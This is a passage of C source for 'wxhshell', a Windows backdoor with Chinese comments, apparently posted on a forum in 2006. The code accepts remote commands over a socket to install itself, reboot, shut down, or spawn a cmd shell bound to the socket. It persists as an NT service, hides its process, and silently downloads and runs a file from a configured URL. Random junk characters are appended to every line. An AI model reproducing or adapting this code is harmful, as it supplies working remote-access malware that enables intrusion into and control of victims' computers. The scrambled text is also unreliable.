  case '?': { " cg>g/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <ZEA&:p  
    break; AtI,& S#{  
  } {VG6m Hw  
  // 安装 R2@u[  
  case 'i': { a6_`V;  
    if(Install()) ' iK0Wr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uip]K{/A!e  
    else rg\w!L(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #4>F%_  
    break; XLT<,B}e  
    } W!*vO>^1W  
  // 卸载 AbB>ZT>hR  
  case 'r': { +fN0> @s  
    if(Uninstall()) 75f.^4/%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "?SnA +)  
    else v},sWjv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WW=7QC i  
    break; ?|\Lm3%J  
    } D5x^O2  
  // 显示 wxhshell 所在路径 kTV D 4Z=  
  case 'p': { zAewE@N#_  
    char svExeFile[MAX_PATH]; p20Nk$.  
    strcpy(svExeFile,"\n\r"); V5+a[`]  
      strcat(svExeFile,ExeFile); &PX'=UT  
        send(wsh,svExeFile,strlen(svExeFile),0); 0'uj*Y{L  
    break; hkG<I';M?M  
    } gN%R-e0  
  // 重启 mf#oa~_  
  case 'b': { WyP1"e^ 9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZUycJ-[  
    if(Boot(REBOOT)) [aC(Ga}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }- Sr@bE  
    else { Alz#zBGb  
    closesocket(wsh); O9Aooe4W=  
    ExitThread(0); \=)h6AG  
    } {$^|^n5j  
    break; v]v f(]""  
    } mwxJ#  
  // 关机 5|Qr"c$p  
  case 'd': { J7ln6Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5> UgBA  
    if(Boot(SHUTDOWN)) E2MpMR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH_&=/-Tz  
    else { aO1cd_d6x_  
    closesocket(wsh); ZfU_4Pl->  
    ExitThread(0); @u^Ib33  
    } 43Q&<r$[T  
    break; <9"i_d%  
    } CJ_B.  
  // 获取shell Z5Cv$bUc  
  case 's': { W3b\LnUa  
    CmdShell(wsh); ~X/T6(n$  
    closesocket(wsh); [>E0(S]  
    ExitThread(0); `*]r.u0  
    break; _~!,x.Dbp  
  } #qWEyb2UZ  
  // 退出 0:*$i(2  
  case 'x': { n2E2V<#   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hf[K\aAk  
    CloseIt(wsh); S`::f(e  
    break; 7j+.H/2  
    } t%)L8%Jr  
  // 离开 vzL>ZBe Z  
  case 'q': { kQ +   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]zO]*d=m  
    closesocket(wsh); g!$ "CX%8  
    WSACleanup(); a <3oyY'  
    exit(1); ^P[*yf  
    break; UxW~yk  
        } 7 ?Fl [FW$  
  } ;.Kzc3yz}  
  } v[x`I;  
NoMC* ",b>  
  // 提示信息 2}NfR8 N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`(xAVl  
} sEoS|"  
  } -Jhf]  
*)`:Nm~y  
  return; qcK)J/K"  
} ^/c|s!U^  
U5Y*xm<  
// shell模块句柄 @:Ns`+ W*  
int CmdShell(SOCKET sock) Th8xh=F[  
{ ;RU)Q)a)  
STARTUPINFO si; _Qv4;a  
ZeroMemory(&si,sizeof(si)); )YZ41K5N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _u>+H#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8)i\d`  
PROCESS_INFORMATION ProcessInfo; ,"D1!0  
char cmdline[]="cmd"; G 5)?!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _?{2{^v  
  return 0; _7Z$"  
} t[<=QK  
oR+Fn}mG  
// 自身启动模式 txi m|)  
int StartFromService(void) 8w{V[@QLn  
{ sIy  LW  
typedef struct U}UIbJD*=  
{ ?f%@8%px  
  DWORD ExitStatus; (k[<>$hL*  
  DWORD PebBaseAddress; eN/Jb;W  
  DWORD AffinityMask; @-hy:th#  
  DWORD BasePriority; h.67] U7m  
  ULONG UniqueProcessId; 4EOu)#  
  ULONG InheritedFromUniqueProcessId; k2xjcrg  
}   PROCESS_BASIC_INFORMATION; 69_c,(M0  
zIQ\ _>  
PROCNTQSIP NtQueryInformationProcess; (F @IUbnl  
8} U/fQ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^0r @",  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cnn,$R=/s  
IRpCbTIXK  
  HANDLE             hProcess; 9<R:)Df  
  PROCESS_BASIC_INFORMATION pbi; o:?IT/>  
7QQnvoP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R8ZW1  
  if(NULL == hInst ) return 0; pM>.z9  
>9|Q,/b0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'HOt?lpu!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q} / :  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;$W|FpR2  
b7\nCRY  
  if (!NtQueryInformationProcess) return 0; 2hquE_1S[w  
@.%ll n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WhkE&7Gk  
  if(!hProcess) return 0; +jHL==W&  
U7{, *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >:Rc%ILym  
b+w|3bQa  
  CloseHandle(hProcess); 5Eq_L  
\wTW hr0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]Fa VKC~3  
if(hProcess==NULL) return 0; GLEGyT?~  
zhFGMF1  
HMODULE hMod; %R}}1  
char procName[255]; f}o`3v*z  
unsigned long cbNeeded; OYe @P  
.rwZ`MP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,UY],;ib  
^G5 _d"Gr  
  CloseHandle(hProcess); [~$9n_O94  
ETYw  
if(strstr(procName,"services")) return 1; // 以服务启动 O%rjY  
htIV`_<Ro  
  return 0; // 注册表启动 RFqbwPX  
} 1 ,Y-_e)  
n`}vcVL;  
// 主模块 kGCd!$fsk  
int StartWxhshell(LPSTR lpCmdLine) ujHqw Rh  
{ ZU/6#pb  
  SOCKET wsl; e5MX5 T^  
BOOL val=TRUE; ,*Sj7qb#  
  int port=0; y+@7k3"  
  struct sockaddr_in door; =T!M`  
y6;A4p>  
  if(wscfg.ws_autoins) Install(); N{f RZN  
BsR xD9r  
port=atoi(lpCmdLine); 'r3I/qg*m  
zxXm9zrLo  
if(port<=0) port=wscfg.ws_port; ) _"`{2  
\  VJ3  
  WSADATA data; )~rN{W<s`H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )fv0H&g  
l\a 0 k4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2}t2k>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gaVWfG  
  door.sin_family = AF_INET; 7)z^*;x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m\[r6t]V  
  door.sin_port = htons(port); 98G>I(Cw%  
Hj LY\.S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L= hPu#&/  
closesocket(wsl); @MTm8E6au  
return 1; ShFSBD\M#  
} GJU84Xn7  
$GEY*uIOa  
  if(listen(wsl,2) == INVALID_SOCKET) { =fEn h'KE  
closesocket(wsl); RY/9Ku `  
return 1; zaa>]~g.  
} mm'Pe4*  
  Wxhshell(wsl); ux'!1mN  
  WSACleanup(); r:<UV^; 9l  
o[0Cv*  
return 0; E\5t&jZr  
!Mceg  
} |I6\_K.=L  
WM~@/J  
// 以NT服务方式启动 =rGjOb3+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Az{Z=:(0  
{ U)o(}:5xF  
DWORD   status = 0; ?x=;?7  
  DWORD   specificError = 0xfffffff; LDx1@a|83  
+.:- :  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &V:iy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;i@,TU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L slI!.(  
  serviceStatus.dwWin32ExitCode     = 0; iO~3rWQ  
  serviceStatus.dwServiceSpecificExitCode = 0; cE$7CSR  
  serviceStatus.dwCheckPoint       = 0; 0ERA(=w5  
  serviceStatus.dwWaitHint       = 0; QGs\af  
-xPv]j$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1!~=8FTv  
  if (hServiceStatusHandle==0) return; e3}`]  
V*"-@  
status = GetLastError(); 2r]80sWY  
  if (status!=NO_ERROR) l`M{Ravvn*  
{ Cj#$WZga%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZkSlztL)Tr  
    serviceStatus.dwCheckPoint       = 0; |9Q4VY'";  
    serviceStatus.dwWaitHint       = 0; }vgeQh-G  
    serviceStatus.dwWin32ExitCode     = status; uzr(gFd  
    serviceStatus.dwServiceSpecificExitCode = specificError; >hQeu1 ~W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=@.<gS  
    return; yyW;VKN  
  } 9(V12gn+lk  
}4b 4<Sm_h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a6cq0g[#z  
  serviceStatus.dwCheckPoint       = 0; aSkH<5i`v  
  serviceStatus.dwWaitHint       = 0; | U )  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3A!`U6C(  
} YzNSZJPD  
Btp 9v<"  
// 处理NT服务事件,比如:启动、停止 JvX]^t/}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .zZee,kM  
{ 9`4M o+  
switch(fdwControl) U@T"teGBA  
{ i=jwk_y  
case SERVICE_CONTROL_STOP: Fuq ;4UcbL  
  serviceStatus.dwWin32ExitCode = 0; ;89 `!V O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F9IrbLS9c  
  serviceStatus.dwCheckPoint   = 0; 7u73v+9qn:  
  serviceStatus.dwWaitHint     = 0; |WwC@3)  
  { gqJSz}'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0r@dn  
  } 4+I@   
  return; ammlUWl  
case SERVICE_CONTROL_PAUSE: '_oWpzpe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %? -E)n[  
  break; BJC$KmGk  
case SERVICE_CONTROL_CONTINUE: $P rji  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j1D 1tn  
  break; KcKdhqdN-  
case SERVICE_CONTROL_INTERROGATE: /enlkZx=8  
  break; !Lkk1z o  
}; m[n=t5~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g9C/Oj`I  
} wX<w)@  
[QwEidX|  
// 标准应用程序主函数 )B'&XLK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VZF;  
{ n.is+2t  
a8nqzuI  
// 获取操作系统版本 cip5 -Z@8  
OsIsNt=GetOsVer(); W cOyOv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Cf5D6=Q  
{02$pO  
  // 从命令行安装 c[VVCN8dA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;\a?xtIy  
R `K1L!`3  
  // 下载执行文件 cH>@ZFTF  
if(wscfg.ws_downexe) { [>--U)/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e7tp4M9!%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^I W5c>;|  
} r)<c ~\0 7  
gOb"-;Zw  
if(!OsIsNt) { M]|tXo$?  
// 如果时win9x,隐藏进程并且设置为注册表启动 t^Z-0jH  
HideProc(); kA/4W^]Ws  
StartWxhshell(lpCmdLine); pNUe|b+P  
} b:B+x6M  
else 4, EX2  
  if(StartFromService()) ^Mvgm3hg  
  // 以服务方式启动 Ln+;HorZ]  
  StartServiceCtrlDispatcher(DispatchTable); ;Qn)~b~  
else QrBb! .r  
  // 普通方式启动 L;RHs hTy  
  StartWxhshell(lpCmdLine); N W]zMU{c  
!#&`1cYX  
return 0; xu%_Zt2/?j  
}
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只看该作者 1 发表于: 2006-10-10
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